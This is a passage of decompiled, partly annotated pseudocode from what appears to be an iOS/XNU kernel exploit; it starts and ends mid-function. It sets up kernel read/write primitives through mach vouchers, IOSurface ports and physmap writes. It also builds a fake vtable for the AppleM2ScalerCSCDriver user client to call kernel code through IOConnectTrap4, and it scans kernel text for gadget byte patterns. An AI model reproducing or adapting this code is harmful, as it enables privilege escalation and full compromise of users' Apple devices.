  __int64 v13; // x22
  kern_return_t v14; // w0
  bool v15; // zf
  vm_size_t sizea; // [xsp+18h] [xbp-58h] BYREF
  mem_entry_name_port_t object_handle; // [xsp+24h] [xbp-4Ch] BYREF
  vm_address_t address; // [xsp+28h] [xbp-48h] BYREF

  address = offset;
  object_handle = 0;
  sizea = size;
  v10 = offset == 0;
  v11 = offset;
  if ( !offset )
  {
    v14 = vm_allocate(mach_task_self_, &address, size, 1);
    if ( v14 )
    {
      v10 = 0;
      v13 = v14 | 0x80000000;
      goto LABEL_19;
    }
    v11 = address;
  }
  memory_entry = mach_make_memory_entry(mach_task_self_, &sizea, v11, 3, &object_handle, 0);
  if ( memory_entry )
  {
LABEL_3:
    v13 = memory_entry | 0x80000000;
    goto LABEL_12;
  }
  if ( sizea == size )
  {
    v13 = alloc_iosurface_mach_port(a1, a2, object_handle);
    if ( (uint32_t)v13 || offset )
      goto LABEL_12;
    memory_entry = vm_map(mach_task_self_, a5, size, 0, 1, object_handle, 0, 0, 3, 3, 2u);
    if ( !memory_entry )
    {
      bzero((void *)*a5, size);
      v13 = 0;
      goto LABEL_19;
    }
    goto LABEL_3;
  }
  v13 = 708642;
LABEL_12:
  if ( (uint32_t)v13 )
    v15 = offset == 0;
  else
    v15 = 0;
  if ( v15 && *a5 )
    vm_deallocate(mach_task_self_, *a5, size);
LABEL_19:
  if ( object_handle + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, object_handle);
  if ( v10 )
    vm_deallocate(mach_task_self_, address, size);
  return v13;
}

//----- (000000000001CEC4) ----------------------------------------------------
__int64 __fastcall alloc_vm_page_v2(__int64 a1)
{
  __int64 result; // x0
  vm_size_t v3; // x9
  vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF

  v4 = 0;
  result = mementry_iosurface_port_alloc((struct_krwCtx *)a1, 0x10u, vm_page_size, 0, &v4);
  if ( !(uint32_t)result )
  {
    v3 = vm_page_size;
    *(uint64_t *)(a1 + 280) = v4;
    *(uint64_t *)(a1 + 288) = v3;
  }
  return result;
}

//----- (000000000001CF1C) ----------------------------------------------------
bool __fastcall krw_setup_voucher(struct_krwCtx *a1)
{
  __int64 v2; // x20
  bool result; // w0
  uint32_t v4; // w8
  uint32_t v5; // w8
  __int64 v6; // x9
  __int64 v7; // x10
  unsigned __int64 v8; // x22
  __int64 v9; // x24
  int v10; // w8
  unsigned __int64 v11; // x8
  unsigned __int64 v12; // x1
  unsigned __int64 v13; // x2
  unsigned __int64 portKaddr; // x0
  __int64 v14; // [xsp+8h] [xbp-88h] BYREF
  mach_port_name_t name; // [xsp+10h] [xbp-80h] BYREF
  int v16; // [xsp+14h] [xbp-7Ch] BYREF
  uint32_t v17[4]; // [xsp+18h] [xbp-78h]
  ipc_voucher_t v18[4]; // [xsp+28h] [xbp-68h] BYREF

  v2 = 0x1122334455667788LL;
  result = voucher_create_mach_voucher((__int64)a1, 0x1122334455667788LL, v18) != 0;
  if ( result )
  {
    portKaddr = task_self_get_ipc_port(a1, v18[0]);
    result = portKaddr != 0;
    if ( result )
    {
      result = kread_u32((__int64)a1, portKaddr, &v16);
      if ( result )
      {
        if ( (v16 & 0x3FF) == 0x22 )
        {
          return true;
        }
        else
        {
          result = false;
          v4 = a1->gap1911[1];
          v17[0] = a1->gap1911[0];
          v17[1] = v4;
          if ( v17[0] != -1 && v4 != -1 )
          {
            v5 = a1->gap1915;
            if ( v5 != -1 && a1->gap190u )
            {
              v6 = 3;
              v7 = 2;
LABEL_13:
              v8 = 0;
              v17[v7] = v5;
              v9 = 4 * v6;
              while ( 1 )
              {
                name = 0;
                if ( voucher_create_mach_voucher((__int64)a1, v2, &v18[v8 / 4])
                  && !(unsigned int)j__fileport_makeport(v17[v8 / 4], &name) )
                {
                  if ( !v8 && !(unsigned int)get_task_bsd_info_kaddr(a1, name, &v14) )
                  {
                    v10 = a1->xnuMajorVersion;
                    if ( (unsigned int)(v10 - 8019) >= 2 && v10 != 8792 && v10 != 7195 )
                      return false;
                    kwrite_physmap_with_a3_ptr((__int64)a1, v14 + 280, a1->gap19210);
                    v11 = a1->xnuVersionPacked;
                    if ( v11 >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && ((a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v11 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0)) )
                    {
                      v13 = a1->gap190u & 0xFFFFFFFFFFLL
                          | ((unsigned __int64)(unsigned int)(a1->slideMaybe / (unsigned int)a1->pageSizeOrSomething) << 40);
                      v12 = v14 + a1->stride168 + 280;
                    }
                    else
                    {
                      v12 = v14 + a1->stride168 + 280;
                      v13 = a1->slideMaybe;
                    }
                    kwrite_physmap_with_a3_ptr((__int64)a1, v12, v13);
                  }
                  setup_voucher_exploit_ctx(a1, &v18[v8 / 4], name);
                  mach_port_deallocate(mach_task_self_, name);
                }
                v8 += 4LL;
                ++v2;
                if ( v9 == v8 )
                  return true;
              }
            }
            if ( a1->gap1913 != -1 )
            {
              v5 = a1->gap1914;
              if ( v5 != -1 )
              {
                v17[2] = a1->gap1913;
                v6 = 4;
                v7 = 3;
                goto LABEL_13;
              }
            }
            return false;
          }
        }
      }
    }
  }
  return result;
}

//----- (000000000001D1B0) ----------------------------------------------------
bool __fastcall krw_setup_physmap(__int64 a1)
{
  vm_size_t v2; // x20
  bool result; // w0
  unsigned int v4; // w1
  ipc_voucher_t v5; // w8
  kern_return_t memory_entry; // w8
  kern_return_t v7; // w8
  vm_address_t v8; // x1
  __int64 portKaddr; // x0
  __int64 v9; // x20
  unsigned int *v10; // x21
  unsigned int *v11; // x22
  unsigned int v12; // w23
  ipc_voucher_t v13; // [xsp+10h] [xbp-90h] BYREF
  mem_entry_name_port_t object_handle; // [xsp+14h] [xbp-8Ch] BYREF
  vm_address_t address; // [xsp+18h] [xbp-88h] BYREF
  vm_size_t size; // [xsp+20h] [xbp-80h] BYREF
  int v17; // [xsp+2Ch] [xbp-74h] BYREF
  unsigned int v18; // [xsp+30h] [xbp-70h] BYREF
  ipc_voucher_t v19[3]; // [xsp+3Ch] [xbp-64h] BYREF

  v2 = vm_page_size;
  address = 0;
  size = vm_page_size;
  if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) )
  {
    v19[0] = 0;
    result = voucher_create_mach_voucher(a1, 0x3122334455667788LL, v19) != 0;
    if ( !result )
      return result;
    v4 = v19[0];
  }
  else
  {
    v11 = (unsigned int *)iosurface_enum_mach_port(a1, 0);
    if ( !v11 )
      return false;
    v4 = *v11;
  }
  v18 = v4;
  if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) )
  {
    portKaddr = task_self_get_ipc_port((struct_krwCtx *)a1, v4);
    if ( !portKaddr )
      return false;
    result = kread_u32(a1, portKaddr, &v17);
    if ( !result )
      return result;
    if ( (v17 & 0x3FF) == 0x1C )
      return true;
  }
  else if ( v4 + 1 > 1 )
  {
    return true;
  }
  v5 = *(uint32_t *)(a1 + 232);
  if ( v5 + 1 < 2 )
    return false;
  if ( !*(uint64_t *)(a1 + 248) )
    return false;
  if ( !*(uint64_t *)(a1 + 256) )
    return false;
  if ( (unsigned int)(*(uint32_t *)(a1 + 276) + 1) < 2 )
    return false;
  v19[0] = *(uint32_t *)(a1 + 276);
  v19[1] = v5;
  if ( !*(uint64_t *)(a1 + 6608) || !*(uint64_t *)(a1 + 240) )
    return false;
  memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0);
  result = false;
  if ( !memory_entry )
  {
    v19[2] = object_handle;
    v7 = vm_map(mach_task_self_, &address, v2, 0, 1, object_handle, 0, 0, 3, 3, 2u);
    result = false;
    if ( !v7 )
    {
      bzero((void *)address, v2);
      v8 = address;
      *(uint64_t *)address = *(uint64_t *)(a1 + 6608);
      *(uint64_t *)(v8 + 8) = *(uint64_t *)(a1 + 240);
      *(uint32_t *)(v8 + 16) = *(uint64_t *)(a1 + 264);
      *(uint32_t *)(v8 + 20) = *(uint32_t *)(a1 + 272);
      result = vm_deallocate(mach_task_self_, v8, v2);
      v9 = 0;
      v10 = &v18;
      do
      {
        if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) )
        {
          v13 = 0;
          result = voucher_create_mach_voucher(a1, v9 + 0x3122334455667788LL, &v13) != 0;
          if ( !result )
            return result;
          *v10 = v13;
          result = setup_voucher_exploit_ctx((struct_krwCtx *)a1, v10, v19[v9]) != 0;
          if ( !result )
            return result;
        }
        else
        {
          v11 = (unsigned int *)iosurface_enum_mach_port(a1, v9);
          if ( !v11 )
            return false;
          v12 = v19[v9];
          portKaddr = task_self_get_ipc_port((struct_krwCtx *)a1, v12);
          if ( !portKaddr )
            return false;
          if ( (unsigned int)kread_and_vm_attr_double(a1, portKaddr) || mach_port_mod_refs(mach_task_self_, v12, 0, 0xFFFF) )
            return false;
          *v11 = v12;
        }
        ++v9;
        ++v10;
        result = true;
      }
      while ( v9 != 3 );
    }
  }
  return result;
}

//----- (000000000001D4A0) ----------------------------------------------------
bool __fastcall krw_setup_iosurface(__int64 a1)
{
  vm_size_t v1; // x20
  mach_port_name_t *portSlot; // x0
  int v4; // w8
  kern_return_t memory_entry; // w8
  kern_return_t v6; // w8
  uint64_t *v7; // x1
  kern_return_t status; // w0
  __int64 v9; // x21
  char v10; // w8
  char v11; // w24
  unsigned int *v12; // x20
  unsigned int v13; // w21
  __int64 portKaddr; // x0
  mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-54h] BYREF
  vm_address_t address; // [xsp+10h] [xbp-50h] BYREF
  vm_size_t size; // [xsp+18h] [xbp-48h] BYREF
  uint32_t v17[2]; // [xsp+20h] [xbp-40h]

  v1 = vm_page_size;
  address = 0;
  size = vm_page_size;
  if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
    return false;
  portSlot = (mach_port_name_t *)iosurface_enum_mach_port(a1, 0);
  if ( !portSlot )
    return false;
  if ( *portSlot + 1 > 1 )
    return true;
  if ( (unsigned int)(*(uint32_t *)(a1 + 172) + 1) < 2
    || !*(uint64_t *)(a1 + 216)
    || (unsigned int)(*(uint32_t *)(a1 + 88) + 1) < 2 )
  {
    return false;
  }
  v17[0] = *(uint32_t *)(a1 + 88);
  v4 = setup_physmap_krw(a1, 0);
  if ( v4 )
    return false;
  if ( !*(uint64_t *)(a1 + 6608)
    || !*(uint64_t *)(a1 + 128)
    || !*(uint32_t *)(a1 + 136)
    || !*(uint64_t *)(a1 + 160)
    || !*(uint32_t *)(a1 + 168) )
  {
    return false;
  }
  memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0);
  if ( !memory_entry )
  {
    v17[1] = object_handle;
    v6 = vm_map(mach_task_self_, &address, v1, 0, 1, object_handle, 0, 0, 3, 3, 2u);
    if ( !v6 )
    {
      bzero((void *)address, v1);
      v7 = (uint64_t *)address;
      *(uint64_t *)address = *(uint64_t *)(a1 + 6608);
      v7[4] = *(uint64_t *)(a1 + 6296);
      v7[5] = *(unsigned int *)(a1 + 6304);
      v7[6] = *(uint64_t *)(a1 + 128);
      v7[7] = *(unsigned int *)(a1 + 136);
      v7[8] = *(uint64_t *)(a1 + 160);
      v7[9] = *(unsigned int *)(a1 + 168);
      status = vm_deallocate(mach_task_self_, (vm_address_t)v7, v1);
      v9 = 0;
      v10 = 1;
      while ( 1 )
      {
        v11 = v10;
        portSlot = (mach_port_name_t *)iosurface_enum_mach_port(a1, v9);
        if ( !portSlot )
          break;
        v12 = portSlot;
        v13 = v17[v9];
        portKaddr = task_self_get_ipc_port((struct_krwCtx *)a1, v13);
        if ( !portKaddr )
          break;
        if ( (unsigned int)kread_and_vm_attr_double(a1, portKaddr) )
          return false;
        status = mach_port_mod_refs(mach_task_self_, v13, 0, 0xFFFF);
        if ( status )
          return false;
        v10 = 0;
        *v12 = v13;
        v9 = 1;
        if ( (v11 & 1) == 0 )
          return iosurface_check_and_alloc_port((struct_krwCtx *)a1) == 0;
      }
    }
  }
  return false;
}
// 0: using guessed type int def_3E8F0;

//----- (000000000001D70C) ----------------------------------------------------
bool __fastcall krw_setup_iosurface_v2(__int64 a1, uint32_t *a2)
{
  vm_size_t v2; // x20
  __int64 v5; // x0
  __int64 v7; // x23
  char v8; // w8
  int v9; // w21
  char v10; // w26
  mach_port_name_t *v11; // x0
  mach_port_name_t v12; // w1
  __int64 v13; // x8
  char v14; // w9
  char v15; // w23
  mach_port_name_t v16; // w1
  bool v17; // zf
  __int64 v18; // x23
  __int64 v19; // x23
  vm_address_t v20; // x8
  __int64 v21; // x9
  __int64 v22; // x9
  int v23; // w10
  __int64 v24; // x11
  int v25; // w8
  int v26; // [xsp+Ch] [xbp-54h] BYREF
  vm_address_t address; // [xsp+10h] [xbp-50h] BYREF
  mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-48h]

  address = 0;
  *(uint64_t *)object = 0;
  v2 = vm_page_size;
  v26 = -1;
  if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
    return false;
  v5 = fd_open_dev_null(&v26);
  if ( (uint32_t)v5 )
    return false;
  v7 = 0;
  v8 = 1;
  v9 = 163878;
  while ( 1 )
  {
    v10 = v8;
    v11 = (mach_port_name_t *)iosurface_enum_mach_port(a1, v7);
    if ( !v11 )
      break;
    v12 = *v11;
    object[v7] = *v11;
    if ( v12 + 1 < 2 )
      break;
    v5 = mach_port_mod_refs(mach_task_self_, v12, 0, 1);
    if ( (uint32_t)v5 )
      break;
    v8 = 0;
    v7 = 1;
    if ( (v10 & 1) == 0 )
    {
      if ( !vm_map(mach_task_self_, &address, v2, 0, 1, object[1], 0, 0, 3, 3, 2u) )
      {
        v18 = *(uint64_t *)address;
        if ( validate_kaddr_range(a1, *(uint64_t *)address) )
        {
          *(uint64_t *)(a1 + 6608) = v18;
          v19 = *(uint64_t *)(address + 32);
          if ( validate_kaddr_range(a1, v19) )
          {
            *(uint64_t *)(a1 + 6296) = v19;
            v20 = address;
            v21 = *(uint64_t *)(address + 40);
            if ( (unsigned __int64)(v21 - 1) <= 0x1F )
            {
              *(uint32_t *)(a1 + 6304) = v21;
              *(uint32_t *)(a1 + 88) = object[0];
              v22 = *(uint64_t *)(v20 + 48);
              if ( v22 )
              {
                if ( (v22 & 7) == 0 )
                {
                  v23 = *(uint32_t *)(v20 + 56);
                  if ( v23 )
                  {
                    v24 = *(uint64_t *)(v20 + 64);
                    if ( v24 )
                    {
                      if ( (v24 & 7) == 0 )
                      {
                        v25 = *(uint32_t *)(v20 + 72);
                        if ( v25 )
                        {
                          *(uint64_t *)(a1 + 128) = v22;
                          *(uint32_t *)(a1 + 136) = v23;
                          *(uint64_t *)(a1 + 160) = v24;
                          *(uint32_t *)(a1 + 168) = v25;
                          v9 = krw_read_validation(a1, 1);
                          if ( !v9 )
                          {
                            fd_close(v26);
                            v26 = -1;
                            v9 = krw_write_validation((struct_krwCtx *)a1);
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
      break;
    }
  }
  if ( v26 != -1 )
    fd_close(v26);
  if ( v9 )
  {
    v13 = 0;
    v14 = 1;
    do
    {
      v15 = v14;
      v16 = object[v13];
      if ( v16 + 1 >= 2 )
        mach_port_deallocate(mach_task_self_, v16);
      v14 = 0;
      v13 = 1;
    }
    while ( (v15 & 1) != 0 );
  }
  if ( address )
    v17 = v2 == 0;
  else
    v17 = 1;
  if ( !v17 )
    vm_deallocate(mach_task_self_, address, v2);
  *a2 = v9 == 0;
  return true;
}

//----- (000000000001D970) ----------------------------------------------------
mach_vm_address_t __fastcall build_kernel_vtable(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, uint64_t *a7)
{
  uint64_t *v2; // x21
  uintptr_t v4; // x22
  uintptr_t v6; // x23
  uintptr_t v8; // x24
  __int64 v10; // x25
  __int64 v12; // x26
  __int64 v13; // x19
  unsigned int v14; // w8
  unsigned int v15; // w10
  unsigned int v16; // w8
  __int64 v17; // x0
  const CFDictionaryRef *v18; // x0
  io_service_t MatchingService; // w0
  io_object_t v20; // w20
  unsigned int v21; // w27
  mach_vm_address_t v22; // x28
  unsigned __int64 v23; // x0
  __int64 v24; // x8
  unsigned int v25; // w22
  __int64 address; // [xsp+18h] [xbp-1098h]
  unsigned int size[3]; // [xsp+24h] [xbp-108Ch] BYREF
  __int128 v29; // [xsp+30h] [xbp-1080h]
  __int64 v30; // [xsp+40h] [xbp-1070h]
  io_connect_t connect; // [xsp+4Ch] [xbp-1064h] BYREF
  __int128 v32; // [xsp+50h] [xbp-1060h] BYREF
  __int64 v33; // [xsp+60h] [xbp-1050h]

  v2 = a7;
  v4 = a6;
  v6 = a5;
  v8 = a4;
  v10 = a3;
  v12 = a2;
  v13 = a1;
  connect = 0;
  *(uint64_t *)&size[1] = 0;
  v14 = *(uint32_t *)(a1 + 384);
  v15 = 0x1000 % v14;
  v16 = v14 - 0x1000 % v14 + 4096;
  if ( !v15 )
    v16 = 4096;
  size[0] = v16;
  if ( !*(uint64_t *)(a1 + 512) )
  {
    macho_find_text_section(*(uint64_t *)(a1 + 6648), &v32);
    v29 = v32;
    v30 = v33;
    v17 = kernel_pattern_scan((__int64)&v32, "00 00 01 91 C0 03 5F D6", 0);
    if ( !v17 )
      return 0;
    *(uint64_t *)(v13 + 512) = v17;
  }
  v18 = IOServiceMatching("AppleM2ScalerCSCDriver");
  MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v18);
  v20 = MatchingService;
  v21 = MatchingService + 1;
  if ( MatchingService + 1 < 2 )
    goto LABEL_21;
  v22 = 0;
  if ( IOServiceOpen(MatchingService, mach_task_self_, 0, &connect) )
    goto LABEL_22;
  if ( connect + 1 < 2 )
  {
LABEL_21:
    v22 = 0;
    goto LABEL_22;
  }
  v22 = get_task_kobject_addr((struct_krwCtx *)v13, connect);
  if ( v22 )
  {
    if ( kread_physmap_decorated((struct_krwCtx *)v13, v22, (unsigned __int64 *)&size[1]) )
    {
      if ( validate_kaddr_range(v13, *(__int64 *)&size[1]) )
      {
        v23 = alloc_physmap_page(v13, size);
        if ( v23 )
        {
          address = v23;
          if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v13, *(__int64 *)&size[1], 4096, &v32)
            || !(unsigned int)kwrite_with_retry(v13, address, (__int64)&v32, 4096) )
          {
            goto LABEL_28;
          }
          v24 = 1464;
          if ( *(int *)(v13 + 320) > 6152 )
            v24 = 1472;
          if ( kwrite64(v13, v24 + address, *(uint64_t *)(v13 + 512)) )
          {
            kwrite64(v13, v22, address);
            kwrite64(v13, v22 + 64, 8);
            kwrite64(v13, v22 + 72, v12);
            kwrite64(v13, v22 + 80, 2 * v10 - 16);
            v25 = IOConnectTrap4(connect, 0, v8, v6, v4, 0);
            kwrite64(v13, v22 + 64, 0);
            kwrite64(v13, v22 + 72, 0);
            kwrite64(v13, v22 + 80, 0);
            kwrite64(v13, v22, *(__int64 *)&size[1]);
            if ( v2 )
              *v2 = v25;
            v22 = 1;
          }
          else
          {
LABEL_28:
            v22 = 0;
          }
          map_shared_mem_and_transfer_data(v13, address, size[0]);
          goto LABEL_22;
        }
      }
    }
    goto LABEL_21;
  }
LABEL_22:
  if ( connect + 1 >= 2 )
    IOServiceClose(connect);
  if ( v21 >= 2 )
    IOObjectRelease(v20);
  return v22;
}
// 1D9A8: variable 'v1' is possibly undefined
// 1D9AC: variable 'v3' is possibly undefined
// 1D9B0: variable 'v5' is possibly undefined
// 1D9B4: variable 'v7' is possibly undefined
// 1D9B8: variable 'v9' is possibly undefined
// 1D9BC: variable 'v11' is possibly undefined
// 48940: using guessed type __int64 __chkstk_darwin(void);
// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);

//----- (000000000001DCA8) ----------------------------------------------------
__int64 kernel_pattern_scan(SearchObj *obj, const char *pattern_str, uint32_t align_flag)
{
    uint32_t flags = 0; // unsued

    // Zero the strtol endptr slot
    // str xzr, [sp, #0x28]
    char *strtol_end = NULL;

    if (pattern_str == NULL)
        return NULL;

    // strdup the pattern so strsep can mutate it
    char *buf = strdup(pattern_str);
    if (buf == NULL)
        return NULL;

    char    *buf_saved = buf;          // x24, kept for free() later
    char    *str_ptr   = buf;          // [sp+0x10], consumed by strsep
    int16_t  pat[128];                 // [sp+0x30], x20 = sp+0x30
    intptr_t pat_len   = 0;            // x22, count of tokens written
    intptr_t anchor    = 0;            // x23, index of '-' separator

    // String literals for token comparison
    // x25 = " "   (space separator for strsep)
    // x26 = "-"
    // x27 = "+"
    // x28 = ".."

    char *token;
    while ((token = strsep(&str_ptr, " ")) != NULL) {

        if (strcmp(token, "-") == 0) {
            // '-' marks the anchor point: anchor = current pat_len
            anchor = pat_len;
            // b → +276 (increment pat_len)

        } else if (strcmp(token, "+") == 0) {
            // '+' marks anchor+1
            anchor = pat_len + 1;
            // b → +276

        } else if (strcmp(token, "..") == 0) {
            // ".." = wildcard: store 0xFFFF (-1 as int16_t)
            pat[pat_len] = (int16_t)0xFFFF;
            // fall into +264: check pat_len <= 0x7e, then increment

        } else {
            // Hex byte token: parse with strtol base 16
            // strtol(token, &strtol_end, 16)
            long val = strtol(token, &strtol_end, 16);
            pat[pat_len] = (int16_t)(val & 0xFF);  // and w8,w0,#0xff; strh

            // Check if strtol consumed the whole token
            // ldr x8, [sp,#0x28]; ldrb w8, [x8]
            // cbz w8 → +264 (good, advance)
            // else → +336 (error, free and return NULL)
            if (*strtol_end != '\0') {
                // Parse error — strtol stopped early
                free(buf_saved);
                return NULL;
            }
        }

        // +264: guard against overflow (max 0x7f tokens)
        if (pat_len > 0x7e) {
            free(buf_saved);
            return NULL;
        }

        pat_len++;  // add x22, x22, #1

        // +276: loop back if str_ptr still has content
        // cbnz x8 (=[sp+0x10]) → strsep loop
    }

    // Done parsing — free the strdup'd buffer
    free(buf_saved);

    // Copy obj into local snapshot (24 bytes: q0 + x8)
    // ldr q0,[x21]; str q0,[sp+0x10]
    // ldr x8,[x21+0x10]; str x8,[sp+0x20]
    SearchObj local_obj;
    memcpy(&local_obj, obj, 0x18);

    // Call scan_kernel_text_gadget with parsed pattern
    // x0 = &local_obj
    // x1 = pat          (int16_t array at sp+0x30)
    // x2 = pat_len      (x22)
    // x3 = anchor       (x23)
    // w4 = align_flag   (w20, from ldp w4,w5,[sp+0x8])
    // w5 = flags        (w19, from ldp w4,w5,[sp+0x8])
    return scan_kernel_text_gadget(&local_obj, pat, pat_len, anchor, align_flag, flags);
}

//----- (000000000001DE40) ----------------------------------------------------
__int64 __fastcall scan_kernel_text_gadget(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5, __int64 a6)
{
  int len; // w22
  int last; // w22
  int i; // w10
  unsigned __int64 page_mask; // x28
  unsigned int align_mask; // w8
  unsigned __int64 mapped; // x8
  unsigned __int64 mapped_size; // x1
  unsigned __int64 mapped_end; // x26
  unsigned __int64 cursor; // x22
  unsigned __int64 last_prefetched; // x9
  unsigned __int64 vm_addr; // x8
  __int16 *pattern; // x23
  __int16 pat_byte; // w10
  __int64 scan_range[3]; // [xsp+10h] [xbp-180h] BYREF
  sub_197A8_result v31; // x0,x1

#if defined(__arm64e__)
  __asm__ volatile("xpaci %0" : "+r"(a2));
#endif
  __asm__ volatile("" : : "r"(a6));
  len = (int)a3;
  pattern = (__int16 *)a2;
  if ( a3 != (char)a3 || len <= 0 || !a1[2] || !a1[1] )
    return 0;

  last = len - 1;
  while ( last >= 0 && pattern[last] == -1 )
    --last;
  if ( last < 0 )
  {
    vm_addr = a1[1];
    if ( !a5 || (vm_addr & (unsigned int)(a5 - 1)) == 0 )
      return vm_addr ? vm_addr + a4 : 0;
    return 0;
  }

  scan_range[0] = a1[0];
  scan_range[1] = a1[1];
  scan_range[2] = a1[2];
  v31 = macho_find_segment((__int64 **)scan_range, 1);
  mapped = v31.addr;
  mapped_size = v31.size;
  if ( !mapped || !mapped_size )
    return 0;

  mapped_end = mapped + mapped_size;
  if ( mapped_size < (unsigned int)len )
    return 0;

  page_mask = (unsigned __int64)-(int)*(uint32_t *)(*a1 + 56);
  align_mask = a5 ? (unsigned int)(a5 - 1) : 0;
  last_prefetched = 0;
  cursor = mapped;
  while ( cursor <= mapped_end - (unsigned int)len )
  {
    unsigned __int64 touch;

    touch = cursor + (unsigned int)last;
    if ( ((last_prefetched ^ touch) & page_mask) != 0 )
    {
      macho_walk_segment_by_name_0(*a1, touch, 1u, mapped_end - touch);
      last_prefetched = touch;
    }

    vm_addr = a1[1] + cursor - mapped;
    if ( !align_mask || (vm_addr & align_mask) == 0 )
    {
      for ( i = 0; i < len; ++i )
      {
        pat_byte = pattern[i];
        if ( pat_byte != -1 && *(unsigned __int8 *)(cursor + i) != (unsigned __int8)pat_byte )
          break;
      }
      if ( i == len )
        return vm_addr ? vm_addr + a4 : 0;
    }
    ++cursor;
  }
  return 0;
}

//----- (000000000001E0C8) ----------------------------------------------------
__int64 __fastcall search_binary_pattern_text(__int128 *a1, char *__s, int a3, char a4)
{
  size_t v8; // x24
  uint16_t *v9; // x0
  void *v10; // x21
  __int64 v11; // x10
  unsigned int v12; // w11
  __int16 v13; // w12
  __int64 v15; // x2
  __int64 v16; // x19
  __int64 scan_range[3]; // [xsp+0h] [xbp-60h] BYREF

  v8 = strlen(__s);
  v9 = malloc(2 * (v8 + 2));
  if ( !v9 )
    return 0;
  v10 = v9;
  v9[v8 + 1] = 0;
  *v9 = 0;
  if ( v8 )
  {
    v11 = 0;
    v12 = 1;
    do
    {
      v13 = (unsigned __int8)__s[v11];
      v11 = v12;
      v9[v12] = v13;
    }
    while ( v8 > v12++ );
  }
  if ( (a4 & 0x20) != 0 )
    v15 = v8 + 2;
  else
    v15 = v8 + 1;
  scan_range[0] = *(uint64_t *)a1;
  scan_range[1] = *((uint64_t *)a1 + 1);
  scan_range[2] = *((uint64_t *)a1 + 2);
  v16 = scan_kernel_text_gadget(scan_range, (__int64)&v9[((unsigned __int8)(a4 & 0x20) >> 5) ^ 1], v15, (a4 & 0x20) != 0, a3, a4);
  free(v10);
  return v16;
}

//----- (000000000001E1B8) ----------------------------------------------------
unsigned __int64 __fastcall find_pattern_kernel_section(__int64 *a1, __int64 a2, int a3)
{
  unsigned __int64 v5; // x1
  unsigned __int64 v6; // x21
  unsigned __int64 result; // x0
  unsigned __int64 v8; // x22
  unsigned __int64 v9; // x25
  unsigned __int64 v10; // x23
  unsigned __int64 v11; // x27
  char *v12; // x24
  __int64 scan_range[3]; // [xsp+0h] [xbp-70h] BYREF
  __int64 __s2; // [xsp+18h] [xbp-58h] BYREF
  sub_197A8_result v13; // x0,x1

  scan_range[0] = a1[0];
  scan_range[1] = a1[1];
  scan_range[2] = a1[2];
  __s2 = a2;
  v13 = macho_find_segment((__int64 **)scan_range, 1);
  v6 = v13.addr;
  v5 = v13.size;
  result = 0;
  if ( v6 )
  {
    v8 = v5;
    if ( v5 )
    {
      v9 = v6 + v5;
      v10 = *(unsigned __int8 *)(*a1 + 52);
      if ( v6 + v10 > v6 + v5 )
      {
        return 0;
      }
      else
      {
        v11 = v6;
        v12 = (char *)v6;
        while ( 1 )
        {
          if ( !a3 || (v11 & (a3 - 1)) == 0 )
          {
            macho_walk_segment_by_name_0(*a1, (unsigned __int64)v12, v10, v8);
            if ( !memcmp(v12, &__s2, v10) )
              break;
          }
          ++v12;
          ++v11;
          --v8;
          if ( (unsigned __int64)&v12[v10] > v9 )
            return 0;
        }
        return a1[1] - v6 + v11;
      }
    }
  }
  return result;
}
// 1E20C: variable 'v5' is possibly undefined

//----- (000000000001E2BC) ----------------------------------------------------
char *__fastcall find_pattern_macho_binary(__int64 *a1, uint32_t *a2, uint32_t *a3, unsigned __int64 a4)
{
  unsigned __int64 v8; // x1
  unsigned __int64 v9; // x23
  char *result; // x0
  unsigned __int64 v11; // x24
  uint32_t *v12; // x10
  __int64 v13; // x12
  __int64 scan_range[3]; // [xsp+0h] [xbp-50h] BYREF
  sub_197A8_result v14; // x0,x1

  scan_range[0] = a1[0];
  scan_range[1] = a1[1];
  scan_range[2] = a1[2];
  v14 = macho_find_segment((__int64 **)scan_range, 1);
  v9 = v14.addr;
  v8 = v14.size;
  result = 0;
  if ( v9 && v8 )
  {
    v11 = v9 + v8;
    macho_walk_segment_by_name_0(*a1, v9, v8, v8);
    if ( v9 < v11 )
    {
      v12 = (uint32_t *)v9;
      do
      {
        if ( (*a3 & *v12) == *a2 )
        {
          if ( (unsigned __int64)&v12[a4] >= v11 )
            return 0;
          if ( a4 < 2 )
          {
LABEL_11:
            result = (char *)v12 + a1[1] - v9;
            if ( result )
              return result;
          }
          else
          {
            v13 = 1;
            while ( (a3[v13] & v12[v13]) == a2[v13] )
            {
              if ( a4 == ++v13 )
                goto LABEL_11;
            }
          }
        }
        ++v12;
      }
      while ( (unsigned __int64)v12 < v11 );
    }
    return 0;
  }
  return result;
}
// 1E314: variable 'v8' is possibly undefined

//----- (000000000001E3C4) ----------------------------------------------------
unsigned __int64 __fastcall kernel_find_symbol_by_cstring_scan(__int64 a1, char *a2, const char *a3, char *a4)
{
  unsigned __int64 result; // x0
  __int64 v9; // x22
  __int64 v10[3]; // [xsp+0h] [xbp-50h] BYREF
  __int128 v11; // [xsp+18h] [xbp-38h] BYREF

  macho_getsectbyname("__TEXT", a1, "__cstring", &v11);
  result = search_binary_pattern_text(&v11, a4, 0, 33);
  if ( result )
  {
    v9 = result;
    macho_getsectbyname(a2, a1, a3, v10);
